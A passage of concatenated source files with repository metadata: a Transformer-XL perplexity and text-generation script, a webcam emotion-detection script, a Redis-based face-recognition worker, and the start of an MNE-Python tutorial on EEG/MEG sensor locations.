[], [], []\n    tower_output = []\n    tower_mems_id = []\n    tower_new_mems_id = []\n    tower_attn_prob = []\n\n    for i in range(FLAGS.num_core_per_host):\n        with tf.device(assign_to_gpu(i, ps_device)), \\\n             tf.variable_scope(tf.get_variable_scope(), reuse=tf.AUTO_REUSE):\n            mems_i = [tf.placeholder(tf.float32,\n                                     [FLAGS.mem_len, per_core_bsz, FLAGS.d_model])\n                      for _ in range(FLAGS.n_layer)]\n\n            mems_i_id = [tf.placeholder(tf.int64,\n                                        [FLAGS.mem_len, per_core_bsz])\n                         for _ in range(FLAGS.n_layer)]\n\n            new_mems_i, output_i, new_mems_i_id, attn_prob_i = single_core_graph_for_inference(\n                n_token=n_token,\n                cutoffs=cutoffs,\n                is_training=False,\n                inp=inputs[i],\n                mems=mems_i,\n                mems_id=mems_i_id)\n\n            tower_mems.append(mems_i)\n            tower_new_mems.append(new_mems_i)\n            tower_output.append(output_i)\n            tower_mems_id.append(mems_i_id)\n            tower_new_mems_id.append(new_mems_i_id)\n            tower_attn_prob.append(attn_prob_i)\n\n    # Evaluation loop\n    tower_mems_np = [\n        [np.zeros([FLAGS.mem_len, per_core_bsz, FLAGS.d_model], dtype=np.float32)\n         for layer in range(FLAGS.n_layer)]\n        for core in range(FLAGS.num_core_per_host)\n    ]\n\n    tower_mems_id_np = [\n        [np.zeros([FLAGS.mem_len, per_core_bsz], dtype=np.float32)\n         for layer in range(FLAGS.n_layer)]\n        for core in range(FLAGS.num_core_per_host)\n    ]\n\n    saver = tf.train.Saver()\n\n    #with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:\n    gpu_config = tf.ConfigProto(allow_soft_placement=True)\n    gpu_config.gpu_options.allow_growth = True  # \u6309\u9700\u5206\u914d\u5185\u5b58\n    gpu_config.gpu_options.per_process_gpu_memory_fraction = 0.2  # \u9650\u5236\u5355\u8fdb\u7a0b\u53ea\u80fd\u5360\u7528GPU\u663e\u5b58\u4e00\u5b9a\u6bd4\u4f8b\n    with tf.Session(config=gpu_config) as sess:\n        sess.run(tf.global_variables_initializer())\n\n        eval_ckpt_path = tf.train.latest_checkpoint(FLAGS.model_dir)\n\n        saver.restore(sess, eval_ckpt_path)\n\n        fetches = [tower_new_mems,\n                    tower_output,\n                    tower_new_mems_id,\n                    tower_attn_prob,\n                    'transformer/adaptive_embed/lookup_table:0']\n\n        sent_ppl_list = []\n\n        def _cal_ppl(log_prob, sent_len):\n            ppl = pow(math.exp((-1)*log_prob), 1/(sent_len-1))\n\n            return ppl\n\n        for i in range(len(input_txt_list)):\n            #tf.logging.info('#time: {}'.format(time.time()))\n            input_txt = input_txt_list[i]\n\n            tower_mems_np = [\n                [np.zeros([FLAGS.mem_len, per_core_bsz, FLAGS.d_model], dtype=np.float32)\n                 for layer in range(FLAGS.n_layer)]\n                for core in range(FLAGS.num_core_per_host)\n            ]\n\n            tower_mems_id_np = [\n                [np.zeros([FLAGS.mem_len, per_core_bsz], dtype=np.float32)\n                 for layer in range(FLAGS.n_layer)]\n                for core in range(FLAGS.num_core_per_host)\n            ]\n\n            #print(\"Encoded Input:\", encoded_input)\n\n            log_prob = 0\n\n            for token in range(1, len(input_txt)):\n                tf.logging.info('#time: {}'.format(time.time()))\n                feed_dict = {}\n                for i in range(FLAGS.num_core_per_host):\n                    for m, m_np in zip(tower_mems[i], tower_mems_np[i]):\n                        feed_dict[m] = m_np\n\n                    for id, id_np in zip(tower_mems_id[i], tower_mems_id_np[i]):\n                        feed_dict[id] = id_np\n\n                sess.run(iterator.initializer, feed_dict={test_list: [[input_txt[token-1]]]})\n                fetched = sess.run(fetches, feed_dict=feed_dict)\n\n                tower_mems_np, output = fetched[:2]\n\n                tower_mems_id_np = fetched[2]\n\n                tmp_list = output[0][-1][0]\n                tmp_list = tmp_list.tolist()\n\n                e_sum = sum([math.exp(i) for i in tmp_list])\n                log_prob_list = [math.log(math.exp(i)) - math.log(e_sum) for i in tmp_list]\n\n                log_prob = log_prob + log_prob_list[input_txt[token]]\n            \n            sent_ppl_list.append(_cal_ppl(log_prob, len(input_txt)))\n        \n        return sent_ppl_list\n                        \n\ndef single_core_graph_for_inference(n_token, cutoffs, is_training, inp, mems, mems_id):\n    model_fn = get_model_fn_for_inference(\n        n_token=n_token,\n        cutoffs=cutoffs)\n\n    model_ret = model_fn(\n        inp=inp,\n        mems=mems,\n        mems_id=mems_id,\n        is_training=is_training)\n\n    return model_ret\n\n\ndef get_model_fn_for_inference(n_token, cutoffs):\n    def model_fn(inp, mems, mems_id, is_training):\n        inp = tf.transpose(inp, [1, 0])\n\n        if FLAGS.init == \"uniform\":\n            initializer = tf.initializers.random_uniform(\n                minval=-FLAGS.init_range,\n                maxval=FLAGS.init_range,\n                seed=None)\n        elif FLAGS.init == \"normal\":\n            initializer = tf.initializers.random_normal(\n                stddev=FLAGS.init_std,\n                seed=None)\n            proj_initializer = tf.initializers.random_normal(\n                stddev=FLAGS.proj_init_std,\n                seed=None)\n\n        tie_projs = [False for _ in range(len(cutoffs) + 1)]\n        if FLAGS.proj_share_all_but_first:\n            for i in range(1, len(tie_projs)):\n                tie_projs[i] = True\n        new_mems, output, new_mems_id, attn_prob = model.transformer_inference(\n            dec_inp=inp,\n            mems=mems,\n            mems_id=mems_id,\n            n_token=n_token,\n            n_layer=FLAGS.n_layer,\n            d_model=FLAGS.d_model,\n            d_embed=FLAGS.d_embed,\n            n_head=FLAGS.n_head,\n            d_head=FLAGS.d_head,\n            d_inner=FLAGS.d_inner,\n            dropout=FLAGS.dropout,\n            dropatt=FLAGS.dropatt,\n            initializer=initializer,\n            proj_initializer=proj_initializer,\n            is_training=is_training,\n            mem_len=FLAGS.mem_len,\n            cutoffs=cutoffs,\n            div_val=FLAGS.div_val,\n            tie_projs=tie_projs,\n            input_perms=None,\n            target_perms=None,\n            head_target=None,\n            same_length=FLAGS.same_length,\n            clamp_len=FLAGS.clamp_len,\n            use_tpu=False,\n            untie_r=FLAGS.untie_r,\n            proj_same_dim=FLAGS.proj_same_dim)\n\n        # number of parameters\n        num_params = sum([np.prod(v.shape) for v in tf.trainable_variables()])\n        tf.logging.info('#params: {}'.format(num_params))\n\n        return new_mems, output, new_mems_id, attn_prob\n\n    return model_fn\n\ndef cut_pad(num_list, r_len, pad_value=0):\n    if len(num_list) <= r_len:\n        return num_list\n    else:\n        return num_list[:r_len]\n\ndef main(unused_argv):\n    del unused_argv  # Unused\n\n    tf.logging.set_verbosity(tf.logging.INFO)\n\n    # Get corpus info\n    corpus_info = data_utils.get_corpus_info(FLAGS.corpus_info_path)\n    n_token = corpus_info[\"vocab_size\"]\n    cutoffs = corpus_info[\"cutoffs\"][1:-1]\n    tf.logging.info(\"n_token {}\".format(n_token))\n\n    tmp_Vocab = Vocab(special=[\"<bos>\", \"<eos>\", \"<UNK>\"])\n    tmp_Vocab.count_file(\"../data/{}/train.txt\".format(FLAGS.dataset), add_eos=False)\n    tmp_Vocab.build_vocab()\n\n    if FLAGS.do_sent_ppl_pred:\n        encoded_txt_input = []\n        txt_input = []\n        input_csv = []\n        with open(FLAGS.input_file_dir, \"r\") as read_file:\n            csv_reader = csv.reader(read_file)\n            for line in csv_reader:\n                if line[0].strip() != 0:\n                    input_csv.append(line)\n            \n            for i in range(1, len(input_csv)):\n                txt_input.append(input_csv[i][0].strip())\n                encoded_txt_input.append(list(tmp_Vocab.encode_sents(input_csv[i][0].strip(), \\\n                    add_eos=True, ordered=True)))\n\n        encoded_txt_input = [line[:FLAGS.limit_len] if len(line) > FLAGS.limit_len else line for line in encoded_txt_input]\n        encoded_txt_input = np.array(encoded_txt_input)\n\n        input_csv[0].append(\"ppl\")\n\n        pool = multiprocessing.Pool(FLAGS.multiprocess)\n        \n        parti_len = len(encoded_txt_input)//FLAGS.multiprocess\n        pro_res_l = []\n\n        for i in range(FLAGS.multiprocess):\n            print(\"Setting process-%s\" % i)\n            ### \u6709\u7a7a\u8fd9\u91cc\u8981\u5199\u4e00\u4e2a\u63a7\u5236\u4f7f\u7528gpu:xx\u7684\u6b65\u9aa4(gpu:1\u6ee1\u4e86\u5c31\u7528\u4e0b\u4e00\u4e2a)\n\n            if i+1 == FLAGS.multiprocess:\n                end = len(encoded_txt_input)\n            else:\n                end = (i+1)*parti_len\n            pro_res_l.append(pool.apply_async(sent_ppl, \\\n                args=(encoded_txt_input[i*parti_len:end], n_token, cutoffs, \"/gpu:1\")))\n            \n        res_l = []\n\n        for i in range(len(pro_res_l)):\n            proc_i_res = pro_res_l[i].get()\n            res_l.extend(proc_i_res)\n\n        pool.close()\n        pool.join()\n        print('All subprocesses done.')\n\n        tf.logging.info('#time: {}'.format(time.time()))\n\n        for i in range(1, len(input_csv)):\n            input_csv[i].append(res_l[i-1])\n        output_df = pd.DataFrame(input_csv[1:], columns=input_csv[0])\n        output_df.to_csv(FLAGS.output_file_dir, sep=\",\", index=False, encoding=\"utf-8-sig\")\n\n        with open(\"non_batch_ref_output.txt\", \"w\") as write_res:\n            for i in range(len(txt_input)):\n                write_res.write(txt_input[i] + \" \" + str(encoded_txt_input[i]) + \" \" + str(res_l[i]) + \"\\n\")\n        \n        # Check whether the length of result is right; Make sure multiprocess work well\n        print(len(res_l))\n\n    elif FLAGS.do_sent_gen:\n        txt_gen_list = []\n        with open(FLAGS.input_txt_dir, \"r\") as read_txt:\n            for input_txt in read_txt:\n                if len(input_txt.strip()) != 0:\n                    txt_gen_list.append(sent_gen(tmp_Vocab, input_txt.strip(), n_token, cutoffs, \"/gpu:1\"))\n        \n        with open(\"sent_generation.txt\", \"w\") as write_res:\n            for line in txt_gen_list:\n                write_res.write(line + \"\\n\")\n\nif __name__ == \"__main__\":\n    tf.app.run()\n", "meta": {"hexsha": "d8abbc4a0169009315080f36324d79e2993d32c2", "size": 17842, "ext": "py", "lang": "Python", "max_stars_repo_path": "tf/predict_ref.py", "max_stars_repo_name": "Machine-Tom/transformer-xl-LAI", "max_stars_repo_head_hexsha": "ccc646668920cab63d93d6c5d4a56de6a6585f77", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-08-21T05:06:44.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-21T05:06:44.000Z", "max_issues_repo_path": "tf/predict_ref.py", "max_issues_repo_name": "Machine-Tom/transformer-xl-LAI", "max_issues_repo_head_hexsha": "ccc646668920cab63d93d6c5d4a56de6a6585f77", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tf/predict_ref.py", "max_forks_repo_name": "Machine-Tom/transformer-xl-LAI", "max_forks_repo_head_hexsha": "ccc646668920cab63d93d6c5d4a56de6a6585f77", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.248434238, "max_line_length": 123, "alphanum_fraction": 0.6223517543, "include": true, "reason": "import numpy", "num_tokens": 4137, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.18713268442910244, "lm_q1q2_score": 0.09867815656383995}}
{"text": "import cv2 \r\nimport tensorflow as tf\r\nimport numpy as np\r\n\r\ntf.config.experimental.set_visible_devices([], 'GPU')\r\n\r\n#labels\r\nlabels={0: 'angry', 1: 'disgust', 2: 'fear', 3: 'happy', 4: 'sad', 5: 'surprise', 6: 'neutral'}\r\n\r\n#Load the model from h5 file \r\nmodel=tf.keras.models.load_model('emotion.h5')\r\n\r\n#Preprocess the image\r\ndef preprocess(img):\r\n\timg=cv2.resize(img,(64,64))\r\n\timg.astype('float32')\r\n\timg=img/255\r\n\timg=np.expand_dims(img,-1)\r\n\timg=np.expand_dims(img,0)\r\n\t\r\n\treturn labels[np.argmax(model.predict(img))]\r\n\t\r\n#Load the cascade model into cv2\t\r\ncascade_path='cascade_haar.xml'\r\nfaceNet=cv2.CascadeClassifier(cascade_path)\r\n\r\n#Video Camera object  1 for external webcam 0 for internal\r\ncam=cv2.VideoCapture(1) \r\n\r\n#Output image \r\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\r\nout = cv2.VideoWriter('output.avi',fourcc, 20.0, (640,480))\r\n\r\nwhile(True):\r\n    ret,img=cam.read()\r\n\r\n    #Convert to grayscale\r\n    gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n\r\n    #Detect faces using HaarCascade\r\n    faces=faceNet.detectMultiScale(gray,scaleFactor=1.3,minNeighbors=3,minSize=(64,64))\r\n\r\n    #For each face process predictions\r\n    for (x,y,w,h) in faces:\r\n        cv2.rectangle(img,(x,y),(x+w,y+h),(0,0,255),2)\r\n\r\n        #Preprocess and predict\r\n        part=gray[y:y+h,x:x+w]\r\n        prediction=preprocess(part)\r\n\r\n        #Set out confidence score\r\n        cv2.putText(img,str(\"Predicted: \"+prediction),(x+5,y-5),cv2.FONT_HERSHEY_SIMPLEX,0.45,(0,255,0),2)\r\n\r\n    out.write(img)\r\n    cv2.imshow('Video',img)\r\n    if cv2.waitKey(1) &0xFF == ord('q'):\r\n        break\r\n\r\ncam.release()\r\ncv2.destroyAllWindows()", "meta": {"hexsha": "24b1e157c6fecf774ee2c23ea2ea9a720334cbc5", "size": 1619, "ext": "py", "lang": "Python", "max_stars_repo_path": "run.py", "max_stars_repo_name": "projjal1/Realtime-Emotion-Detection", "max_stars_repo_head_hexsha": "d47e96c2502260aeaada839ddbaf96df2de975c0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "run.py", "max_issues_repo_name": "projjal1/Realtime-Emotion-Detection", "max_issues_repo_head_hexsha": "d47e96c2502260aeaada839ddbaf96df2de975c0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "run.py", "max_forks_repo_name": "projjal1/Realtime-Emotion-Detection", "max_forks_repo_head_hexsha": "d47e96c2502260aeaada839ddbaf96df2de975c0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.9833333333, "max_line_length": 107, "alphanum_fraction": 0.6621371217, "include": true, "reason": "import numpy", "num_tokens": 462, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832206876841, "lm_q2_score": 0.18242552380635635, "lm_q1q2_score": 0.09832429635678773}}
{"text": "# import the necessary packages\nfrom django.conf import settings\nimport torch\n\nimport redis\nimport time\nimport json\nimport numpy as np\nimport math\nfrom threading import Thread\nimport random\nfrom dl.yolo.yolo import YOLO\nfrom dl.face_dlib.FaceAlignment import FaceAlignment\nfrom dl.insightFace.insightFace import InsightFace\nfrom dl.hnsw.pyw_hnswlib import HNSWIndex\nfrom dl import utils\nfrom .faceBank import FaceBank\nimport time\n\n\ndef classify_process():\n    # connect to Redis server\n    time.sleep(5)\n\n    db = redis.StrictRedis(host=settings.REDIS_HOST,\n                           port=settings.REDIS_PORT, db=settings.REDIS_DB)\n\n    print(\"===* Loading model... *===\")\n    yolo_model = YOLO()\n\n    fa = FaceAlignment()\n\n    insightFace = InsightFace(use_mobilefacenet=settings.USE_MOBILEFACENET)\n\n    hnsw = HNSWIndex('cosine', 512)\n\n    db.flushdb()\n    try:\n        hnsw.load_index()\n    except:\n        hnsw.init_index(max_elements=15000, ef_construction=200, M=512)\n\n    hnsw.set_ef(512)\n#    if hnsw.cur_ind == 0:\n    db.set(\"hnswUpdateSignal\", 1)\n\n    try:\n        hnswDict = np.load(\"hnswdict.npy\").item()\n    except:\n        hnswDict = dict()\n\n    delete_mask = []\n\n    #    fb=FaceBank()\n    #    if hnsw.cur_ind != hnswDict.get(\"len\"):\n    #        t=Thread(target=fb.updateFaceBank)\n    #        t.start()\n\n    print(\"===* Model loaded     *===\")\n\n    fb = FaceBank()\n\n    stream = \"FRStream\"\n    group = \"FRGroup\"\n    consumer = \"FRConsumer\"\n    # try:\n    db.xgroup_create(stream, group, id=\"0-0\", mkstream=True)\n    # except:\n    #    pass\n    NewHNSWIndex=None\n    # continually pool for new images to classify\n    while True:\n        # attempt to grab a batch of images from the database\n        # db.xread(streams={stream:'>'},\n        #          count=settings.BATCH_SIZE//2,\n        #          block=300)\n\n        groupData = db.xreadgroup(groupname=group,\n                                  consumername=consumer,\n                                  streams={stream: '>'},\n                                  count=settings.BATCH_SIZE // 2,\n                                  block=300)\n\n        hnswUpdateSignal = int(db.get(\"hnswUpdateSignal\")) \\\n            if db.get(\"hnswUpdateSignal\") is not None else 0\n        if hnswUpdateSignal:\n            NewHNSWIndex = HNSWIndex('cosine', 512)\n            NewHNSWIndex.init_index(max_elements=20000, ef_construction=100, M=512)\n            db.set(\"hnswUpdateSignal\", 0)\n            t = Thread(target=fb.updateFaceBank, args=(NewHNSWIndex, db))\n            t.daemon = True\n            t.start()\n\n        hnswDictUpdateSignal = int(db.get(\"hnswDictUpdateSignal\")) \\\n            if db.get(\"hnswDictUpdateSignal\") is not None else 0\n        if hnswDictUpdateSignal:\n            hnsw = NewHNSWIndex\n            hnsw.save_index()\n            delete_mask = []\n            db.set(\"hnswDictUpdateSignal\", 0)\n            hnswDict = json.loads(db.get(\"hnswDict\")) if db.get(\"hnswDict\") is not None else hnswDict\n\n        if len(groupData) == 0 or len(groupData[0][1]) == 0:\n            continue\n        # groupData[0][0] is the stream name\n        groupData = groupData[0][1]\n\n        Data = []\n        for groupdata in groupData:\n            id = groupdata[0].decode('utf8')\n            data = json.loads(list(groupdata[1].values())[0])\n\n            if data.get('type') == \"Signal\":            #Signal \u9879\u4ec0\u4e48\u90fd\u4e0d\u505a\n                db.xack(stream, group, id)\n                db.xdel(stream, id)\n\n                pass\n            elif data.get(\"type\") == \"Delete\":\n                db.xack(stream, group, id)\n                db.xdel(stream, id)\n                md5 = data.get(\"md5\")\n                name = data.get(\"name\")\n                if md5 in hnswDict and name in hnswDict[md5][\"name\"]:\n                    index = hnswDict[md5][\"name\"].index(name)\n                    delete_mask.append(hnswDict[md5][\"id\"][index])\n                    dictLen = hnswDict[\"len\"]\n                    hnswLen = hnsw.cur_ind - len(delete_mask)\n                    if dictLen > hnswLen:\n                        db.set(\"hnswUpdateSignal\", 1)\n\n            elif data.get(\"type\") == \"Recognition\":\n                Data.append((id, data))\n        groupData = Data\n\n        # Now groupData[0] is the id ang groupData[1] is the data\n\n        batch_for_detect = []\n        image_sizes_for_detect = []\n        image_ids_for_detect = []\n        for index, groupdata in enumerate(groupData):\n            data = groupdata[1]\n            if not data.get(\"detected\"):\n                # Get the image and image shape\n                image = utils.base64_decode_image(data[\"image\"])\n                image_size = image.shape\n\n                # Get the image size and id in the groupData\n                image_sizes_for_detect.append(image_size)\n                image_ids_for_detect.append(index)\n\n                # data prepare and batch\n                batch = yolo_model.prepare_image(image)\n                batch_for_detect.append(batch)\n\n        if len(batch_for_detect) > 0:\n            start = time.time()\n            data = torch.stack(batch_for_detect, 0)\n            results = yolo_model.predict(data, image_sizes_for_detect)\n\n            for (imageID, resultSet) in zip(image_ids_for_detect, results):\n                # initialize the list of output predictions\n                groupData[imageID][1][\"face\"] = []\n                # loop over the results and add them to the list of\n                # output predictions\n\n                for *xyxy, conf, score, label in resultSet:\n                    r = {\"xmin\": int(xyxy[0]),\n                         \"ymin\": int(xyxy[1]),\n                         \"xmax\": int(xyxy[2]),\n                         \"ymax\": int(xyxy[3]),\n                         \"score\": float(conf) * float(score)}\n                    groupData[imageID][1][\"face\"].append(r)\n            end = time.time()\n            print(\"* YOLO : {} / {}\".format(data.shape, end - start))\n\n        # It's the map from ImageID to FaceImage , the ImageID is from groupData.\n        image2faceMap = [None] * len(groupData)\n\n        batch_for_recognize = []\n        # It's the map from FaceID to ImageID , the FaceID is from batch_for_recognize\n        # and the ImageID is from groupData.\n        face2ImageIDMap = []\n        face2ImageLocationMap = []\n\n        for index, groupdata in enumerate(groupData):\n            data = groupdata[1]\n\n            image = utils.base64_decode_image(data[\"image\"])\n\n            face_rectangles = []\n            #            if isinstance(data[\"face\"],str):\n            #                data['face']=json.loads(data[\"face\"])\n\n            for face in data[\"face\"]:\n                face_rectangles.append((face[\"xmin\"], face[\"ymin\"], face[\"xmax\"], face[\"ymax\"]))\n\n            if len(face_rectangles) == 0:\n                continue\n            aligned_face = fa.faceAlignment(image, face_rectangles=face_rectangles)\n\n            image2faceMap[index] = aligned_face\n\n            for loc, face in enumerate(aligned_face):\n                face_transed = insightFace.prepare_transform(face)\n\n                # Append to the batch for recognize\n                batch_for_recognize.append(face_transed)\n                face2ImageIDMap.append(index)\n                face2ImageLocationMap.append(loc)\n\n        BATCH_SIZE = settings.BATCH_SIZE\n        for i in range(int(math.ceil(len(batch_for_recognize) / BATCH_SIZE))):\n            start = time.time()\n            start_index = i * BATCH_SIZE\n            end_index = (i + 1) * BATCH_SIZE\n            data = torch.stack(batch_for_recognize[start_index:end_index], 0)\n\n            embedings = insightFace.predict(data)\n\n            for index, embeding in enumerate(embedings):\n\n                embeding_numpy = embeding.cpu().detach().numpy()\n\n                id = face2ImageIDMap[start_index + index]\n                loc = face2ImageLocationMap[start_index + index]\n\n                timeid = groupData[id][0]\n                jsonData = groupData[id][1]\n\n                if jsonData[\"saveVec\"]:\n                    hnsw.add_items([embeding_numpy],\n                                   ids=[jsonData.get(\"name\")])\n                    hnsw.save_index()\n                    if jsonData.get(\"md5\"):\n                        hnswDict = json.loads(db.get(\"hnswDict\")) if db.get(\"hnswDict\") is not None else hnswDict\n                        md5 = jsonData[\"md5\"]\n                        name = jsonData[\"name\"]\n                        if md5 not in hnswDict:\n                            hnswDict[md5] = {\"name\": [],\n                                             \"id\": []}\n                        hnswDict[md5][\"name\"].append(name)\n                        hnswDict[md5][\"id\"].append(hnsw.cur_ind)\n                        hnswDict[\"len\"] += 1\n                        db.set(\"hnswDict\", json.dumps(hnswDict))\n                    jsonData[\"vec\"] = embeding_numpy.tolist()\n\n                ret = {\n                    \"match\": None,\n                    \"score\": 0\n                }\n\n                if \"recognize\" not in jsonData or jsonData[\"recognize\"] == True:\n                    try:\n                        if len(delete_mask) != 0:\n                            labelsid, labels, distances = hnsw.knn_query_id(embeding_numpy, k=3)\n                            labelsid, labels, distances = list(labelsid[0]), labels[0], distances[0]\n                            new_labels = []\n                            new_distances = []\n                            for id in labelsid:\n                                if id not in delete_mask:\n                                    index = labelsid.index(id)\n                                    new_labels.append(labels[index])\n                                    new_distances.append(distances[index])\n                            labels = new_labels\n                            distances = np.array(new_distances)\n                        else:\n                            labels, distances = hnsw.knn_query(embeding_numpy, k=1)\n                            labels, distances = labels[0], distances[0]\n                        ret = {\"match\": labels[0],\n                               \"score\": float(1 - distances[0])}\n                        print(labels, 1 - distances)\n                    except:\n                        pass\n\n                jsonData[\"face\"][loc][\"match\"] = ret[\"match\"]\n                jsonData[\"face\"][loc][\"similarity\"] = ret[\"score\"]\n                jsonData[\"retVal\"] = 1\n\n            end = time.time()\n            print(\"* InsightFace : {} / {}\".format(data.shape, end - start))\n\n        for groupdata in groupData:\n            timeid = groupdata[0]\n            jsonData = groupdata[1]\n\n            # \u4eba\u8138\u68c0\u6d4b\u5931\u8d25\n            if len(jsonData[\"face\"]) == 0:\n                jsonData[\"retVal\"] = 101\n            # \u9a8c\u8bc1\u6210\u529f\n            elif jsonData.get(\"match\") is not None:\n                jsonData[\"retVal\"] = 1\n            # \u6dfb\u52a0\u6210\u529f\n            elif jsonData.get(\"saveVec\"):\n                jsonData[\"retVal\"] = 2\n\n            jsonData.pop(\"image\")\n            jsonData.pop(\"detected\")\n            jsonData.pop(\"recognize\")\n            jsonData.pop(\"savePic\")\n            jsonData.pop(\"saveVec\")\n\n            # loop over the results and add them to the list of\n            # output predictions\n            # store the output predictions in the database, using\n            # the image ID as the key so we can fetch the results\n            db.set(timeid, json.dumps(jsonData))\n            db.xack(stream, group, timeid)\n", "meta": {"hexsha": "ed1d5b8ad0853675ec539714a7ea86adbf97745e", "size": 11450, "ext": "py", "lang": "Python", "max_stars_repo_path": "dl/model_serverX.py", "max_stars_repo_name": "PPPokerFace/PokerFace", "max_stars_repo_head_hexsha": "4d28a3bb093200669f2f7b337a907f035b650032", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-01-06T08:33:24.000Z", "max_stars_repo_stars_event_max_datetime": "2019-01-06T08:33:24.000Z", "max_issues_repo_path": "dl/model_serverX.py", "max_issues_repo_name": "PPPokerFace/PokerFace", "max_issues_repo_head_hexsha": "4d28a3bb093200669f2f7b337a907f035b650032", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dl/model_serverX.py", "max_forks_repo_name": "PPPokerFace/PokerFace", "max_forks_repo_head_hexsha": "4d28a3bb093200669f2f7b337a907f035b650032", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.1753246753, "max_line_length": 113, "alphanum_fraction": 0.5143231441, "include": true, "reason": "import numpy", "num_tokens": 2549, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290806, "lm_q2_score": 0.19436780868538725, "lm_q1q2_score": 0.09794313814878246}}
{"text": "\"\"\"\n.. _tut-sensor-locations:\n\nWorking with sensor locations\n=============================\n\nThis tutorial describes how to read and plot sensor locations, and how\nMNE-Python handles physical locations of sensors.\n\nAs usual we'll start by importing the modules we need and loading some\n:ref:`example data <sample-dataset>`:\n\"\"\"\n\n# %%\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# the following import is required for matplotlib < 3.2:\nfrom mpl_toolkits.mplot3d import Axes3D  # noqa\nimport mne\n\nsample_data_folder = mne.datasets.sample.data_path()\nsample_data_raw_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                    'sample_audvis_raw.fif')\nraw = mne.io.read_raw_fif(sample_data_raw_file, preload=True, verbose=False)\n\n# %%\n# About montages and layouts\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# `Montages <mne.channels.DigMontage>` contain sensor positions in 3D (x, y, z\n# in meters), which can be assigned to existing EEG/MEG data. By specifying the\n# locations of sensors relative to the brain,\n# `Montages <mne.channels.DigMontage>` play an important role in computing the\n# forward solution and inverse estimates.\n#\n# In contrast, `Layouts <mne.channels.Layout>` are *idealized* 2D\n# representations of sensor positions. They are primarily used for arranging\n# individual sensor subplots in a topoplot or for showing the *approximate*\n# relative arrangement of sensors as seen from above.\n#\n# Working with built-in montages\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The 3D coordinates of MEG sensors are included in the raw recordings from MEG\n# systems. They are automatically stored in the ``info`` attribute of the\n# `~mne.io.Raw` object upon loading. EEG electrode locations are much more\n# variable because of differences in head shape. Idealized montages for many\n# EEG systems are included in MNE-Python; these files are stored in your\n# ``mne-python`` directory in the :file:`mne/channels/data/montages` folder:\n\nmontage_dir = os.path.join(os.path.dirname(mne.__file__),\n                           'channels', 'data', 'montages')\nprint('\\nBUILT-IN MONTAGE FILES')\nprint('======================')\nprint(sorted(os.listdir(montage_dir)))\n\n# %%\n# .. sidebar:: Computing sensor locations\n#\n#     If you are interested in how standard (idealized) EEG sensor positions\n#     are computed on a spherical head model, make sure to check out the\n#     `eeg_positions`_ repository.\n#\n# These built-in EEG montages can be loaded with\n# `mne.channels.make_standard_montage` (note that you need to provide the\n# filename *without* its extension):\n\nten_twenty_montage = mne.channels.make_standard_montage('standard_1020')\nprint(ten_twenty_montage)\n\n# %%\n# Once loaded, a montage can be applied to data with the\n# `~mne.io.Raw.set_montage` method, for example\n# `raw.set_montage <mne.io.Raw.set_montage>`. It is also possible to skip the\n# loading step by passing the filename string directly to the\n# `~mne.io.Raw.set_montage` method. This will not work with our sample\n# data, because its channel names do not match the channel names in the\n# standard 10\u201320 montage. Therefore, we do not run the following commands here:\n\n# these will be equivalent:\n# raw_1020 = raw.copy().set_montage(ten_twenty_montage)\n# raw_1020 = raw.copy().set_montage('standard_1020')\n\n# %%\n# `Montage <mne.channels.DigMontage>` objects have a\n# `~mne.channels.DigMontage.plot` method for visualizing the sensor locations\n# in 2D or 3D:\n\nfig = ten_twenty_montage.plot(kind='3d')\nfig.gca().view_init(azim=70, elev=15)  # set view angle\nten_twenty_montage.plot(kind='topomap', show_names=False)\n\n# %%\n# .. _control-chan-projection:\n#\n# Controlling channel projection (MNE vs EEGLAB)\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Channel positions in 2D space are obtained by projecting their actual 3D\n# positions onto a sphere, then projecting the sphere onto a plane. Because the\n# ``'standard_1020'`` montage contains realistic (as opposed to idealized\n# spherical) channel positions, we will use a different montage to demonstrate\n# how channels are projected to 2D:\n\nbiosemi_montage = mne.channels.make_standard_montage('biosemi64')\nbiosemi_montage.plot(show_names=False)\n\n# %%\n# By default, a sphere with origin at ``(0, 0, 0)`` (x, y, z coordinates) and\n# radius of ``0.095`` meters (9.5 cm) is used. You can use a different sphere\n# radius by passing a single value as the  ``sphere`` argument in any function\n# that plots channels in 2D (like `~mne.channels.DigMontage.plot` that we use\n# here, but also for example 